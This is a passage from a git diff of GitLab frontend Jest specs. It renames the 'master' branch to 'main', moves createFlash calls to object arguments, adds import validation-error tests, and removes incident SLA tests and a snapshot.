@@ -101,7 +101,7 @@ describe('IDE commit module actions', () => {
originalGon = window.gon;
window.gon = { current_username: 'johndoe' };
- store.state.currentBranchId = 'master';
+ store.state.currentBranchId = 'main';
});
afterEach(() => {
@@ -177,7 +177,7 @@ describe('IDE commit module actions', () => {
committed_date: '123',
committer_name: 'root',
};
- const branch = 'master';
+ const branch = 'main';
let f;
beforeEach(() => {
@@ -192,12 +192,12 @@ describe('IDE commit module actions', () => {
Object.assign(store.state, {
currentProjectId: 'abcproject',
- currentBranchId: 'master',
+ currentBranchId: 'main',
projects: {
abcproject: {
web_url: 'web_url',
branches: {
- master: {
+ main: {
workingReference: '',
commit: {
short_id: TEST_COMMIT_SHA,
@@ -228,7 +228,7 @@ describe('IDE commit module actions', () => {
branch,
})
.then(() => {
- expect(store.state.projects.abcproject.branches.master.workingReference).toBe(data.id);
+ expect(store.state.projects.abcproject.branches.main.workingReference).toBe(data.id);
})
.then(done)
.catch(done.fail);
@@ -310,14 +310,14 @@ describe('IDE commit module actions', () => {
changedFiles: [f],
openFiles: [f],
currentProjectId: 'abcproject',
- currentBranchId: 'master',
+ currentBranchId: 'main',
projects: {
abcproject: {
- default_branch: 'master',
+ default_branch: 'main',
web_url: 'webUrl',
branches: {
- master: {
- name: 'master',
+ main: {
+ name: 'main',
workingReference: '1',
commit: {
id: TEST_COMMIT_SHA,
@@ -460,7 +460,7 @@ describe('IDE commit module actions', () => {
.dispatch('commit/commitChanges')
.then(() => {
expect(visitUrl).toHaveBeenCalledWith(
- `webUrl/-/merge_requests/new?merge_request[source_branch]=${store.getters['commit/placeholderBranchName']}&merge_request[target_branch]=master&nav_source=webide`,
+ `webUrl/-/merge_requests/new?merge_request[source_branch]=${store.getters['commit/placeholderBranchName']}&merge_request[target_branch]=main&nav_source=webide`,
);
done();
diff --git a/spec/frontend/ide/stores/modules/commit/getters_spec.js b/spec/frontend/ide/stores/modules/commit/getters_spec.js
index 0dc938bb637..7a07ed05201 100644
--- a/spec/frontend/ide/stores/modules/commit/getters_spec.js
+++ b/spec/frontend/ide/stores/modules/commit/getters_spec.js
@@ -46,7 +46,7 @@ describe('IDE commit module getters', () => {
describe('branchName', () => {
const rootState = {
- currentBranchId: 'master',
+ currentBranchId: 'main',
};
const localGetters = {
placeholderBranchName: 'placeholder-branch-name',
@@ -61,7 +61,7 @@ describe('IDE commit module getters', () => {
it('defaults to currentBranchId when not committing to a new branch', () => {
localGetters.isCreatingNewBranch = false;
- expect(getters.branchName(state, localGetters, rootState)).toBe('master');
+ expect(getters.branchName(state, localGetters, rootState)).toBe('main');
});
describe('commit to a new branch', () => {
diff --git a/spec/frontend/ide/stores/modules/terminal/actions/checks_spec.js b/spec/frontend/ide/stores/modules/terminal/actions/checks_spec.js
index e5887ca0a33..fc00bd075e7 100644
--- a/spec/frontend/ide/stores/modules/terminal/actions/checks_spec.js
+++ b/spec/frontend/ide/stores/modules/terminal/actions/checks_spec.js
@@ -13,7 +13,7 @@ import axios from '~/lib/utils/axios_utils';
import httpStatus from '~/lib/utils/http_status';
const TEST_PROJECT_PATH = 'lorem/root';
-const TEST_BRANCH_ID = 'master';
+const TEST_BRANCH_ID = 'main';
const TEST_YAML_HELP_PATH = `${TEST_HOST}/test/yaml/help`;
const TEST_RUNNERS_HELP_PATH = `${TEST_HOST}/test/runners/help`;
diff --git a/spec/frontend/ide/stores/modules/terminal/actions/session_controls_spec.js b/spec/frontend/ide/stores/modules/terminal/actions/session_controls_spec.js
index e42e760b841..ecda7f304ba 100644
--- a/spec/frontend/ide/stores/modules/terminal/actions/session_controls_spec.js
+++ b/spec/frontend/ide/stores/modules/terminal/actions/session_controls_spec.js
@@ -1,6 +1,6 @@
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import * as actions from '~/ide/stores/modules/terminal/actions/session_controls';
import { STARTING, PENDING, STOPPING, STOPPED } from '~/ide/stores/modules/terminal/constants';
import * as messages from '~/ide/stores/modules/terminal/messages';
@@ -11,7 +11,7 @@ import httpStatus from '~/lib/utils/http_status';
jest.mock('~/flash');
const TEST_PROJECT_PATH = 'lorem/root';
-const TEST_BRANCH_ID = 'master';
+const TEST_BRANCH_ID = 'main';
const TEST_SESSION = {
id: 7,
status: PENDING,
@@ -89,7 +89,9 @@ describe('IDE store terminal session controls actions', () => {
it('flashes message', () => {
actions.receiveStartSessionError({ dispatch });
- expect(createFlash).toHaveBeenCalledWith(messages.UNEXPECTED_ERROR_STARTING);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: messages.UNEXPECTED_ERROR_STARTING,
+ });
});
it('sets session status', () => {
@@ -161,7 +163,9 @@ describe('IDE store terminal session controls actions', () => {
it('flashes message', () => {
actions.receiveStopSessionError({ dispatch });
- expect(createFlash).toHaveBeenCalledWith(messages.UNEXPECTED_ERROR_STOPPING);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: messages.UNEXPECTED_ERROR_STOPPING,
+ });
});
it('kills the session', () => {
diff --git a/spec/frontend/ide/stores/modules/terminal/actions/session_status_spec.js b/spec/frontend/ide/stores/modules/terminal/actions/session_status_spec.js
index 0227955754c..eabc69b23aa 100644
--- a/spec/frontend/ide/stores/modules/terminal/actions/session_status_spec.js
+++ b/spec/frontend/ide/stores/modules/terminal/actions/session_status_spec.js
@@ -1,6 +1,6 @@
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import * as actions from '~/ide/stores/modules/terminal/actions/session_status';
import { PENDING, RUNNING, STOPPING, STOPPED } from '~/ide/stores/modules/terminal/constants';
import * as messages from '~/ide/stores/modules/terminal/messages';
@@ -115,7 +115,9 @@ describe('IDE store terminal session controls actions', () => {
it('flashes message', () => {
actions.receiveSessionStatusError({ dispatch });
- expect(createFlash).toHaveBeenCalledWith(messages.UNEXPECTED_ERROR_STATUS);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: messages.UNEXPECTED_ERROR_STATUS,
+ });
});
it('kills the session', () => {
diff --git a/spec/frontend/ide/stores/mutations/branch_spec.js b/spec/frontend/ide/stores/mutations/branch_spec.js
index 0900b25d5d3..30a688d2bb0 100644
--- a/spec/frontend/ide/stores/mutations/branch_spec.js
+++ b/spec/frontend/ide/stores/mutations/branch_spec.js
@@ -10,9 +10,9 @@ describe('Multi-file store branch mutations', () => {
describe('SET_CURRENT_BRANCH', () => {
it('sets currentBranch', () => {
- mutations.SET_CURRENT_BRANCH(localState, 'master');
+ mutations.SET_CURRENT_BRANCH(localState, 'main');
- expect(localState.currentBranchId).toBe('master');
+ expect(localState.currentBranchId).toBe('main');
});
});
@@ -21,20 +21,20 @@ describe('Multi-file store branch mutations', () => {
localState.projects = {
Example: {
branches: {
- master: {},
+ main: {},
},
},
};
mutations.SET_BRANCH_COMMIT(localState, {
projectId: 'Example',
- branchId: 'master',
+ branchId: 'main',
commit: {
title: 'Example commit',
},
});
- expect(localState.projects.Example.branches.master.commit.title).toBe('Example commit');
+ expect(localState.projects.Example.branches.main.commit.title).toBe('Example commit');
});
});
diff --git a/spec/frontend/ide/stores/mutations/file_spec.js b/spec/frontend/ide/stores/mutations/file_spec.js
index 825d2a546cd..1453f26c1d9 100644
--- a/spec/frontend/ide/stores/mutations/file_spec.js
+++ b/spec/frontend/ide/stores/mutations/file_spec.js
@@ -319,8 +319,8 @@ describe('IDE store file mutations', () => {
localFile.content = 'test';
localFile.changed = true;
localState.currentProjectId = 'gitlab-ce';
- localState.currentBranchId = 'master';
- localState.trees['gitlab-ce/master'] = {
+ localState.currentBranchId = 'main';
+ localState.trees['gitlab-ce/main'] = {
tree: [],
};
});
@@ -337,7 +337,7 @@ describe('IDE store file mutations', () => {
mutations.DISCARD_FILE_CHANGES(localState, localFile.path);
- expect(localState.trees['gitlab-ce/master'].tree).toEqual([{ ...localFile, deleted: false }]);
+ expect(localState.trees['gitlab-ce/main'].tree).toEqual([{ ...localFile, deleted: false }]);
});
it('adds to parent tree if deleted', () => {
diff --git a/spec/frontend/ide/stores/mutations/tree_spec.js b/spec/frontend/ide/stores/mutations/tree_spec.js
index a4b98aa9d5a..6935e57578f 100644
--- a/spec/frontend/ide/stores/mutations/tree_spec.js
+++ b/spec/frontend/ide/stores/mutations/tree_spec.js
@@ -33,16 +33,16 @@ describe('Multi-file store tree mutations', () => {
});
it('adds directory data', () => {
- localState.trees['project/master'] = {
+ localState.trees['project/main'] = {
tree: [],
};
mutations.SET_DIRECTORY_DATA(localState, {
data,
- treePath: 'project/master',
+ treePath: 'project/main',
});
- const tree = localState.trees['project/master'];
+ const tree = localState.trees['project/main'];
expect(tree.tree.length).toBe(3);
expect(tree.tree[0].name).toBe('tree');
@@ -52,30 +52,30 @@ describe('Multi-file store tree mutations', () => {
it('keeps loading state', () => {
mutations.CREATE_TREE(localState, {
- treePath: 'project/master',
+ treePath: 'project/main',
});
mutations.SET_DIRECTORY_DATA(localState, {
data,
- treePath: 'project/master',
+ treePath: 'project/main',
});
- expect(localState.trees['project/master'].loading).toBe(true);
+ expect(localState.trees['project/main'].loading).toBe(true);
});
it('does not override tree already in state, but merges the two with correct order', () => {
const openedFile = file('new');
- localState.trees['project/master'] = {
+ localState.trees['project/main'] = {
loading: true,
tree: [openedFile],
};
mutations.SET_DIRECTORY_DATA(localState, {
data,
- treePath: 'project/master',
+ treePath: 'project/main',
});
- const { tree } = localState.trees['project/master'];
+ const { tree } = localState.trees['project/main'];
expect(tree.length).toBe(4);
expect(tree[0].name).toBe('blob');
@@ -86,17 +86,17 @@ describe('Multi-file store tree mutations', () => {
it('returns tree unchanged if the opened file is already in the tree', () => {
const openedFile = file('foo');
- localState.trees['project/master'] = {
+ localState.trees['project/main'] = {
loading: true,
tree: [openedFile],
};
mutations.SET_DIRECTORY_DATA(localState, {
data,
- treePath: 'project/master',
+ treePath: 'project/main',
});
- const { tree } = localState.trees['project/master'];
+ const { tree } = localState.trees['project/main'];
expect(tree.length).toBe(3);
diff --git a/spec/frontend/ide/stores/mutations_spec.js b/spec/frontend/ide/stores/mutations_spec.js
index 09e9481e5d4..23fe23bdef9 100644
--- a/spec/frontend/ide/stores/mutations_spec.js
+++ b/spec/frontend/ide/stores/mutations_spec.js
@@ -98,8 +98,8 @@ describe('Multi-file store mutations', () => {
describe('CREATE_TMP_ENTRY', () => {
beforeEach(() => {
localState.currentProjectId = 'gitlab-ce';
- localState.currentBranchId = 'master';
- localState.trees['gitlab-ce/master'] = {
+ localState.currentBranchId = 'main';
+ localState.trees['gitlab-ce/main'] = {
tree: [],
};
});
@@ -115,7 +115,7 @@ describe('Multi-file store mutations', () => {
},
});
- expect(localState.trees['gitlab-ce/master'].tree.length).toEqual(1);
+ expect(localState.trees['gitlab-ce/main'].tree.length).toEqual(1);
expect(localState.entries.test.tempFile).toEqual(true);
});
});
@@ -163,8 +163,8 @@ describe('Multi-file store mutations', () => {
describe('DELETE_ENTRY', () => {
beforeEach(() => {
localState.currentProjectId = 'gitlab-ce';
- localState.currentBranchId = 'master';
- localState.trees['gitlab-ce/master'] = {
+ localState.currentBranchId = 'main';
+ localState.trees['gitlab-ce/main'] = {
tree: [],
};
});
@@ -184,11 +184,11 @@ describe('Multi-file store mutations', () => {
path: 'filePath',
deleted: false,
};
- localState.trees['gitlab-ce/master'].tree.push(localState.entries.filePath);
+ localState.trees['gitlab-ce/main'].tree.push(localState.entries.filePath);
mutations.DELETE_ENTRY(localState, 'filePath');
- expect(localState.trees['gitlab-ce/master'].tree).toEqual([]);
+ expect(localState.trees['gitlab-ce/main'].tree).toEqual([]);
});
it('removes from parent tree', () => {
@@ -279,12 +279,12 @@ describe('Multi-file store mutations', () => {
describe('RENAME_ENTRY', () => {
beforeEach(() => {
localState.trees = {
- 'gitlab-ce/master': {
+ 'gitlab-ce/main': {
tree: [],
},
};
localState.currentProjectId = 'gitlab-ce';
- localState.currentBranchId = 'master';
+ localState.currentBranchId = 'main';
localState.entries = {
oldPath: file('oldPath', 'oldPath', 'blob'),
};
@@ -462,7 +462,7 @@ describe('Multi-file store mutations', () => {
gamma,
};
- localState.trees['gitlab-ce/master'].tree = [alpha, beta, gamma];
+ localState.trees['gitlab-ce/main'].tree = [alpha, beta, gamma];
mutations.RENAME_ENTRY(localState, {
path: 'alpha',
@@ -471,7 +471,7 @@ describe('Multi-file store mutations', () => {
parentPath: '',
});
- expect(localState.trees['gitlab-ce/master'].tree).toEqual([
+ expect(localState.trees['gitlab-ce/main'].tree).toEqual([
expect.objectContaining({
name: 'beta',
}),
diff --git a/spec/frontend/ide/stores/utils_spec.js b/spec/frontend/ide/stores/utils_spec.js
index 46a0794b2e6..8f7b8c5e311 100644
--- a/spec/frontend/ide/stores/utils_spec.js
+++ b/spec/frontend/ide/stores/utils_spec.js
@@ -18,13 +18,13 @@ describe('Multi-file store utils', () => {
};
const state = {
- currentBranchId: 'master',
+ currentBranchId: 'main',
currentProjectId: 'test/test',
};
utils.setPageTitleForFile(state, f);
- expect(document.title).toBe('README.md · master · test/test · GitLab');
+ expect(document.title).toBe('README.md · main · test/test · GitLab');
});
});
@@ -52,10 +52,10 @@ describe('Multi-file store utils', () => {
{ ...file('deletedFile'), path: 'deletedFile', deleted: true },
{ ...file('renamedFile'), path: 'renamedFile', prevPath: 'prevPath' },
],
- currentBranchId: 'master',
+ currentBranchId: 'main',
};
const payload = utils.createCommitPayload({
- branch: 'master',
+ branch: 'main',
newBranch: false,
state,
rootState,
@@ -63,7 +63,7 @@ describe('Multi-file store utils', () => {
});
expect(payload).toEqual({
- branch: 'master',
+ branch: 'main',
commit_message: 'commit message',
actions: [
{
@@ -122,10 +122,10 @@ describe('Multi-file store utils', () => {
lastCommitSha: '123456789',
},
],
- currentBranchId: 'master',
+ currentBranchId: 'main',
};
const payload = utils.createCommitPayload({
- branch: 'master',
+ branch: 'main',
newBranch: false,
state: {},
rootState,
@@ -135,7 +135,7 @@ describe('Multi-file store utils', () => {
});
expect(payload).toEqual({
- branch: 'master',
+ branch: 'main',
commit_message: 'prebuilt test commit message',
actions: [
{
@@ -377,7 +377,7 @@ describe('Multi-file store utils', () => {
let localState;
let branchInfo;
const currentProjectId = '123-foo';
- const currentBranchId = 'master';
+ const currentBranchId = 'main';
beforeEach(() => {
localState = {
diff --git a/spec/frontend/ide/utils_spec.js b/spec/frontend/ide/utils_spec.js
index f467d174eeb..00733615f81 100644
--- a/spec/frontend/ide/utils_spec.js
+++ b/spec/frontend/ide/utils_spec.js
@@ -274,33 +274,33 @@ describe('WebIDE utils', () => {
* hello.md -> hello-1.md
* hello_2.md -> hello_3.md
* hello_ -> hello_1
- * master-patch-22432 -> master-patch-22433
+ * main-patch-22432 -> main-patch-22433
* patch_332 -> patch_333
*/
describe('addNumericSuffix', () => {
it.each`
- input | output
- ${'hello'} | ${'hello-1'}
- ${'hello2'} | ${'hello-3'}
- ${'hello.md'} | ${'hello-1.md'}
- ${'hello_2.md'} | ${'hello_3.md'}
- ${'hello_'} | ${'hello_1'}
- ${'master-patch-22432'} | ${'master-patch-22433'}
- ${'patch_332'} | ${'patch_333'}
+ input | output
+ ${'hello'} | ${'hello-1'}
+ ${'hello2'} | ${'hello-3'}
+ ${'hello.md'} | ${'hello-1.md'}
+ ${'hello_2.md'} | ${'hello_3.md'}
+ ${'hello_'} | ${'hello_1'}
+ ${'main-patch-22432'} | ${'main-patch-22433'}
+ ${'patch_332'} | ${'patch_333'}
`('adds a numeric suffix to a given filename/branch name: $input', ({ input, output }) => {
expect(addNumericSuffix(input)).toBe(output);
});
it.each`
- input | output
- ${'hello'} | ${'hello-39135'}
- ${'hello2'} | ${'hello-39135'}
- ${'hello.md'} | ${'hello-39135.md'}
- ${'hello_2.md'} | ${'hello_39135.md'}
- ${'hello_'} | ${'hello_39135'}
- ${'master-patch-22432'} | ${'master-patch-39135'}
- ${'patch_332'} | ${'patch_39135'}
+ input | output
+ ${'hello'} | ${'hello-39135'}
+ ${'hello2'} | ${'hello-39135'}
+ ${'hello.md'} | ${'hello-39135.md'}
+ ${'hello_2.md'} | ${'hello_39135.md'}
+ ${'hello_'} | ${'hello_39135'}
+ ${'main-patch-22432'} | ${'main-patch-39135'}
+ ${'patch_332'} | ${'patch_39135'}
`('adds a random suffix if randomize=true is passed for name: $input', ({ input, output }) => {
jest.spyOn(Math, 'random').mockReturnValue(0.391352525);
diff --git a/spec/frontend/import_entities/import_groups/components/import_table_row_spec.js b/spec/frontend/import_entities/import_groups/components/import_table_row_spec.js
index 0c69cfb3bc5..aa6a40cad18 100644
--- a/spec/frontend/import_entities/import_groups/components/import_table_row_spec.js
+++ b/spec/frontend/import_entities/import_groups/components/import_table_row_spec.js
@@ -5,11 +5,15 @@ import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import { STATUSES } from '~/import_entities/constants';
import ImportTableRow from '~/import_entities/import_groups/components/import_table_row.vue';
-import groupQuery from '~/import_entities/import_groups/graphql/queries/group.query.graphql';
+import addValidationErrorMutation from '~/import_entities/import_groups/graphql/mutations/add_validation_error.mutation.graphql';
+import removeValidationErrorMutation from '~/import_entities/import_groups/graphql/mutations/remove_validation_error.mutation.graphql';
+import groupAndProjectQuery from '~/import_entities/import_groups/graphql/queries/groupAndProject.query.graphql';
import { availableNamespacesFixture } from '../graphql/fixtures';
Vue.use(VueApollo);
+const { i18n: I18N } = ImportTableRow;
+
const getFakeGroup = (status) => ({
web_url: 'https://fake.host/',
full_path: 'fake_group_1',
@@ -25,6 +29,7 @@ const getFakeGroup = (status) => ({
const EXISTING_GROUP_TARGET_NAMESPACE = 'existing-group';
const EXISTING_GROUP_PATH = 'existing-path';
+const EXISTING_PROJECT_PATH = 'existing-project-path';
describe('import table row', () => {
let wrapper;
@@ -41,13 +46,19 @@ describe('import table row', () => {
const createComponent = (props) => {
apolloProvider = createMockApollo([
[
- groupQuery,
+ groupAndProjectQuery,
({ fullPath }) => {
const existingGroup =
fullPath === `${EXISTING_GROUP_TARGET_NAMESPACE}/${EXISTING_GROUP_PATH}`
? { id: 1 }
: null;
- return Promise.resolve({ data: { existingGroup } });
+
+ const existingProject =
+ fullPath === `${EXISTING_GROUP_TARGET_NAMESPACE}/${EXISTING_PROJECT_PATH}`
+ ? { id: 1 }
+ : null;
+
+ return Promise.resolve({ data: { existingGroup, existingProject } });
},
],
]);
@@ -173,7 +184,7 @@ describe('import table row', () => {
});
describe('validations', () => {
- it('Reports invalid group name when name is not matching regex', () => {
+ it('reports invalid group name when name is not matching regex', () => {
createComponent({
group: {
...getFakeGroup(STATUSES.NONE),
@@ -188,7 +199,7 @@ describe('import table row', () => {
expect(wrapper.text()).toContain('Please choose a group URL with no special characters.');
});
- it('Reports invalid group name if relevant validation error exists', async () => {
+ it('reports invalid group name if relevant validation error exists', async () => {
const FAKE_ERROR_MESSAGE = 'fake error';
createComponent({
@@ -208,5 +219,101 @@ describe('import table row', () => {
expect(wrapper.text()).toContain(FAKE_ERROR_MESSAGE);
});
+
+ it('sets validation error when targetting existing group', async () => {
+ const testGroup = getFakeGroup(STATUSES.NONE);
+
+ createComponent({
+ group: {
+ ...testGroup,
+ import_target: {
+ target_namespace: EXISTING_GROUP_TARGET_NAMESPACE,
+ new_name: EXISTING_GROUP_PATH,
+ },
+ },
+ });
+
+ jest.spyOn(wrapper.vm.$apollo, 'mutate');
+
+ jest.runOnlyPendingTimers();
+ await nextTick();
+
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
+ mutation: addValidationErrorMutation,
+ variables: {
+ field: 'new_name',
+ message: I18N.NAME_ALREADY_EXISTS,
+ sourceGroupId: testGroup.id,
+ },
+ });
+ });
+
+ it('sets validation error when targetting existing project', async () => {
+ const testGroup = getFakeGroup(STATUSES.NONE);
+
+ createComponent({
+ group: {
+ ...testGroup,
+ import_target: {
+ target_namespace: EXISTING_GROUP_TARGET_NAMESPACE,
+ new_name: EXISTING_PROJECT_PATH,
+ },
+ },
+ });
+
+ jest.spyOn(wrapper.vm.$apollo, 'mutate');
+
+ jest.runOnlyPendingTimers();
+ await nextTick();
+
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
+ mutation: addValidationErrorMutation,
+ variables: {
+ field: 'new_name',
+ message: I18N.NAME_ALREADY_EXISTS,
+ sourceGroupId: testGroup.id,
+ },
+ });
+ });
+
+ it('clears validation error when target is updated', async () => {
+ const testGroup = getFakeGroup(STATUSES.NONE);
+
+ createComponent({
+ group: {
+ ...testGroup,
+ import_target: {
+ target_namespace: EXISTING_GROUP_TARGET_NAMESPACE,
+ new_name: EXISTING_PROJECT_PATH,
+ },
+ },
+ });
+
+ jest.runOnlyPendingTimers();
+ await nextTick();
+
+ jest.spyOn(wrapper.vm.$apollo, 'mutate');
+
+ await wrapper.setProps({
+ group: {
+ ...testGroup,
+ import_target: {
+ target_namespace: 'valid_namespace',
+ new_name: 'valid_path',
+ },
+ },
+ });
+
+ jest.runOnlyPendingTimers();
+ await nextTick();
+
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
+ mutation: removeValidationErrorMutation,
+ variables: {
+ field: 'new_name',
+ sourceGroupId: testGroup.id,
+ },
+ });
+ });
});
});
diff --git a/spec/frontend/import_entities/import_projects/store/actions_spec.js b/spec/frontend/import_entities/import_projects/store/actions_spec.js
index 9bff77cd34a..f2bfc61381c 100644
--- a/spec/frontend/import_entities/import_projects/store/actions_spec.js
+++ b/spec/frontend/import_entities/import_projects/store/actions_spec.js
@@ -1,7 +1,7 @@
import MockAdapter from 'axios-mock-adapter';
import { TEST_HOST } from 'helpers/test_constants';
import testAction from 'helpers/vuex_action_helper';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { STATUSES } from '~/import_entities/constants';
import actionsFactory from '~/import_entities/import_projects/store/actions';
import { getImportTarget } from '~/import_entities/import_projects/store/getters';
@@ -168,7 +168,9 @@ describe('import_projects store actions', () => {
[],
);
- expect(createFlash).toHaveBeenCalledWith('Provider rate limit exceeded. Try again later');
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'Provider rate limit exceeded. Try again later',
+ });
});
});
@@ -245,7 +247,9 @@ describe('import_projects store actions', () => {
[],
);
- expect(createFlash).toHaveBeenCalledWith('Importing the project failed');
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'Importing the project failed',
+ });
});
it('commits REQUEST_IMPORT and RECEIVE_IMPORT_ERROR and shows detailed error message on an unsuccessful request with errors fields in response', async () => {
@@ -266,7 +270,9 @@ describe('import_projects store actions', () => {
[],
);
- expect(createFlash).toHaveBeenCalledWith(`Importing the project failed: ${ERROR_MESSAGE}`);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: `Importing the project failed: ${ERROR_MESSAGE}`,
+ });
});
});
@@ -365,7 +371,9 @@ describe('import_projects store actions', () => {
[],
);
- expect(createFlash).toHaveBeenCalledWith('Requesting namespaces failed');
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'Requesting namespaces failed',
+ });
});
});
diff --git a/spec/frontend/incidents/components/incidents_list_spec.js b/spec/frontend/incidents/components/incidents_list_spec.js
index c7286d70b94..8d4ccab2a40 100644
--- a/spec/frontend/incidents/components/incidents_list_spec.js
+++ b/spec/frontend/incidents/components/incidents_list_spec.js
@@ -43,12 +43,10 @@ describe('Incidents List', () => {
const findLoader = () => wrapper.find(GlLoadingIcon);
const findTimeAgo = () => wrapper.findAll(TimeAgoTooltip);
const findAssignees = () => wrapper.findAll('[data-testid="incident-assignees"]');
- const findIncidentSlaHeader = () => wrapper.find('[data-testid="incident-management-sla"]');
const findCreateIncidentBtn = () => wrapper.find('[data-testid="createIncidentBtn"]');
const findClosedIcon = () => wrapper.findAll("[data-testid='incident-closed']");
const findEmptyState = () => wrapper.find(GlEmptyState);
const findSeverity = () => wrapper.findAll(SeverityToken);
- const findIncidentSla = () => wrapper.findAll("[data-testid='incident-sla']");
function mountComponent({ data = {}, loading = false, provide = {} } = {}) {
wrapper = mount(IncidentsList, {
@@ -188,35 +186,6 @@ describe('Incidents List', () => {
joinPaths(`/project/issues/incident`, mockIncidents[0].iid),
);
});
-
- describe('Incident SLA field', () => {
- it('displays the column when the feature is available', () => {
- mountComponent({
- data: { incidents: { list: mockIncidents } },
- provide: { slaFeatureAvailable: true },
- });
-
- expect(findIncidentSlaHeader().text()).toContain('Time to SLA');
- });
-
- it('does not display the column when the feature is not available', () => {
- mountComponent({
- data: { incidents: { list: mockIncidents } },
- provide: { slaFeatureAvailable: false },
- });
-
- expect(findIncidentSlaHeader().exists()).toBe(false);
- });
-
- it('renders an SLA for each incident', () => {
- mountComponent({
- data: { incidents: { list: mockIncidents } },
- provide: { slaFeatureAvailable: true },
- });
-
- expect(findIncidentSla().length).toBe(mockIncidents.length);
- });
- });
});
describe('Create Incident', () => {
diff --git a/spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap b/spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap
deleted file mode 100644
index 85d21f231b1..00000000000
--- a/spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap
+++ /dev/null
@@ -1,114 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Alert integration settings form default state should match the default snapshot 1`] = `
-<div>
- <p>
- <gl-sprintf-stub
- message="Action to take when receiving an alert. %{docsLink}"
- />
- </p>
-
- <form>
- <gl-form-group-stub
- class="gl-pl-0"
- >
- <gl-form-checkbox-stub
- checked="true"
- data-qa-selector="create_issue_checkbox"
- >
- <span>
- Create an incident. Incidents are created for each alert triggered.
- </span>
- </gl-form-checkbox-stub>
- </gl-form-group-stub>
-
- <gl-form-group-stub
- class="col-8 col-md-9 gl-px-6"
- label-for="alert-integration-settings-issue-template"
- label-size="sm"
- >
- <label
- class="gl-display-inline-flex"
- for="alert-integration-settings-issue-template"
- >
-
- Incident template (optional)
-
- <gl-link-stub
- href="/help/user/project/description_templates#create-an-issue-template"
- target="_blank"
- >
- <gl-icon-stub
- name="question"
- size="12"
- />
- </gl-link-stub>
- </label>
-
- <gl-dropdown-stub
- block="true"
- category="primary"
- data-qa-selector="incident_templates_dropdown"
- headertext=""
- hideheaderborder="true"
- id="alert-integration-settings-issue-template"
- size="medium"
- text="selecte_tmpl"
- variant="default"
- >
- <gl-dropdown-item-stub
- avatarurl=""
- data-qa-selector="incident_templates_item"
- iconcolor=""
- iconname=""
- iconrightarialabel=""
- iconrightname=""
- ischeckitem="true"
- secondarytext=""
- >
-
- No template selected
-
- </gl-dropdown-item-stub>
- </gl-dropdown-stub>
- </gl-form-group-stub>
-
- <gl-form-group-stub
- class="gl-pl-0 gl-mb-5"
- >
- <gl-form-checkbox-stub>
- <span>
- Send a single email notification to Owners and Maintainers for new alerts.
- </span>
- </gl-form-checkbox-stub>
- </gl-form-group-stub>
-
- <gl-form-group-stub
- class="gl-pl-0 gl-mb-5"
- >
- <gl-form-checkbox-stub
- checked="true"
- >
- <span>
- Automatically close associated incident when a recovery alert notification resolves an alert
- </span>
- </gl-form-checkbox-stub>
- </gl-form-group-stub>
-
- <gl-button-stub
- buttontextclasses=""
- category="primary"
- class="js-no-auto-disable"
- data-qa-selector="save_changes_button"
- icon=""
- size="medium"
- type="submit"
- variant="success"
- >
-
- Save changes
-
- </gl-button-stub>
- </form>
-</div>
-`;
diff --git a/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap b/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap
index 07f90a12f0f..4f70f908c4a 100644
--- a/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap
+++ b/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap
@@ -2,7 +2,7 @@
exports[`IncidentsSettingTabs should render the component 1`] = `
<section
- class="settings no-animate qa-incident-management-settings"
+ class="settings no-animate"
data-qa-selector="incidents_settings_content"
id="incident-management-settings"
>
@@ -30,7 +30,7 @@ exports[`IncidentsSettingTabs should render the component 1`] = `
<p>
- Set up integrations with external tools to help better manage incidents.
+ Fine-tune incident settings and set up integrations with external tools to help better manage incidents.
</p>
</div>
@@ -41,15 +41,8 @@ exports[`IncidentsSettingTabs should render the component 1`] = `
<gl-tabs-stub
theme="indigo"
>
- <gl-tab-stub
- title="Alert integration"
- titlelinkclass=""
- >
- <alertssettingsform-stub
- class="gl-pt-3"
- data-testid="AlertsSettingsForm-tab"
- />
- </gl-tab-stub>
+ <!---->
+
<gl-tab-stub
title="PagerDuty integration"
titlelinkclass=""
@@ -59,9 +52,6 @@ exports[`IncidentsSettingTabs should render the component 1`] = `
data-testid="PagerDutySettingsForm-tab"
/>
</gl-tab-stub>
- <!---->
-
- <!---->
</gl-tabs-stub>
</div>
</section>
diff --git a/spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap b/spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap
index 79ad5ad1bb9..2a976c04319 100644
--- a/spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap
+++ b/spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap
@@ -13,6 +13,7 @@ exports[`Alert integration settings form should match the default snapshot 1`] =
<form>
<gl-form-group-stub
class="col-8 col-md-9 gl-p-0"
+ labeldescription=""
>
<gl-toggle-stub
id="active"
@@ -26,6 +27,7 @@ exports[`Alert integration settings form should match the default snapshot 1`] =
class="col-8 col-md-9 gl-p-0"
label="Webhook URL"
label-for="url"
+ labeldescription=""
>
